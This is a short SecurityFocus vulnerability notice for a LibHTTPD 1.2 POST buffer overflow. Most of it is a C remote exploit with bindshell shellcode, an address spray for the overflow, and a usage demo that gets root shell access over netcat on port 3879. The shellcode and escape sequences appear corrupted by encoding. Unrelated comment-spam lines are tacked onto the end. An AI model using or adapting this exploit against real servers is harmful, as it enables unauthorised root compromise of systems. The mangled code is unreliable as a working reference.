source: http://www.securityfocus.com/bid/6172/info
LibHTTPD is vulnerable to a buffer overflow condition. By passing a POST request of excessive length, it is possible to overrun a static buffer. This may result in sensitive locations in memory being overwritten by attacker-supplied values.
Successful exploitation of this vulnerability may allow an attacker to execute arbitrary code with super user privileges.
It should be noted that this vulnerability was reported in LibHTTPD v1.2. It is not yet known whether earlier versions are affected.
/*
**
** Lib HTTPd Remote Buffer Overflow exploit
** by Xpl017Elz
** __
** Testing exploit:
**
** bash$ (./0x82-Remote.libhttpdxpl;cat)|nc libhttphost 80
**
** (Ctrl+c)
** punt!
** bash$ nc libhttphost 3879
** uname
** Linux
** id
** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),
** 3(sys),4(adm),6(disk),10(wheel)
** exit
** bash$
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <[email protected]>.
** My World: http://x82.i21c.net
**
*/
#include <stdio.h>
int main(/* args? */)
{
int shadd2r;
char b1ndsh[] = /* 129byte bindshellcode */
"2113451322262f2113201311211313C211]370C211]364K211M374215M"
"3643152001311211E364Cf211]354f307E356 17'211M360215E354211E"
"370306E374 20211320215M364315200211320CC315200211320C315"
"2002113031311262?211320315200211320A315200353 30^211u"
"b1300210F 07211Ef260 13211363215Mb215Uf315200350343377"
"377377/bin/sh";
//--- POST &shellcode ---//
fprintf(stdout,"POST ");
for(shadd2r=0;shadd2r<0x408;shadd2r+=4)
{/* rEDhAT Default: 0x804e482,
Debian Address? */
fprintf(stdout,"202344 04b");
}
fprintf(stdout,"rn");
//--- NOP,shellcode ---//
for(shadd2r=0;shadd2r<0x3e8;shadd2r++)
{/* SSSSSSSS...SSSSSSSSS;;; */
fprintf(stdout,"S");
}
fprintf(stdout,"%srnx0xrnx82rnl0lrn",b1ndsh);
}
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666